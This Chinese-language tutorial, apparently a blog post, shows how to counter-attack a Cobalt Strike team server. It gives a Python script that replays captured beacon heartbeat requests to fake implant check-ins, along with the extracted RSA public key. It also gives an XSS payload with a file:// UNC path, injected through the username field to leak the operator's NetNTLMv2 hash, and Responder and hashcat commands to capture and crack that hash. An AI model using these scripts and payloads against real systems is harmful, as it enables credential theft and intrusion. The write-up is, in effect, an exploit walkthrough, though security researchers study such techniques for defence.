网络安全最新XSS漏洞
1. 原理部分
1.1 CS上线流量
本地主机(vm8网卡): windows11 192.168.52.1
服务端: windows10 192.168.52.129
被控端: windows10 192.168.52.140
首先生成一个裸奔马,然后在被控端打开wireshark并且点击exe上线,我们这里只考虑应用层的包,所以过滤一下,我这里得到4个包
前两个先不看,先看3和4,他们比较亲民点,追踪流发现cookie
中存在一个加密过后的值,而凭借经验不难看出很大可能是RSA非对称加密,猜想这个就是上线的请求了(也就是心跳包)
为了验证猜想,我用本地主机利用python发出该请求代码如下(这里为了书写方便附加个hearder转字典)
import requests
import time
url = 'http://192.168.52.128/fwlink'
header = {
"Cookie":"OphJmHM6fR6cjpj4DMdsF3epxwniVsGao14/2a2WmqR0EoEqKdrz92bfuNUurfO1m2NGY/YgEp6tiaZr1JpVaUa2mGYPjEJCiLxBj13VGk31G4E6uI5bG5EPvM4RjWUMZnrlfJiWNGygdJGeH9mpXz40zPFT1VjWd49Wf0QKZog=",
"User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06)",
"Host":"192.168.52.128",
"Connection":"Keep-Alive",
"Cache-Control":"no-cache"
}
while True:
requests.get(url,headers=header)
time.sleep(10)
可以看到达到效果了
当然我们这里想获得类似的信息也可以通过我们上图中第一个请求OwQF
来拿Stage分析出来,这里可以用工具
上图中PublicKey
并不是真正的key,里面有些垃圾填充,就是后边那些AAAAAAA,所以正确的key如下所示
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCKCnNWl64nFkgSz/CstkQXvrq/6bxXcI55UIsPyzIkoTG/zwF6yxfFTOiufyP4Ji0Dc9dI+K+yZhbr5Ou0h8fSjlOaaD+fEq24JN/BNXGwVTBATmwuxoGRezMxr7XvN2O/mtItwT8uFSv5RsITh1JVC3Qdyt+wO/Ng2L80NepiWQIDAQAB==
到这里就可以利用脚本来达到批量上线的目的了,这里可以利用师傅现成的脚本达到上线的目的
原理也是非常简单,就是更改对应stage不同位置对应的值
2. XSS利用
目前CS出现XSS漏洞的原因主要是因为CS的客户端可以被HTML渲染,目前已知存在位置为计算机名,username等,因为再前面我们可以自定义上线,所以更改一下这些地方的信息不是难事
2.1 反制获取NTLM
这个是现在网上复现成功较多的,也非常简单,首先我在kali启动responder
responder -v -I eth0
开始监听
这时我们只需要将XSS的payload加到CS的用户名那里,payload如下
<html><img src='file://192.168.52.129/a'%>
我们还是利用fakesubmit
,然后将User_name字典的内容改成如下所示,然后上线一台机器
由于我们的这个payload有点长,而原有的fakesubmit
的rsa.encrypt
加密函数最多加密117字节,所以会报错,然后我简单的改了下脚本,如下图所示需要自己对照改
然后直接执行脚本上线
然后再回头看我们的kali
ok,这回我们可以拿着hash去爆破了
创建了test将hash放进去
#-m 指定密文类型,5600对应的就是NetNTLMv2
#--force 为忽略警告
hashcat -m 5600 ./test /Black/zidian/fuzzDicts/passwordDict/top500.txt --force
爆破成功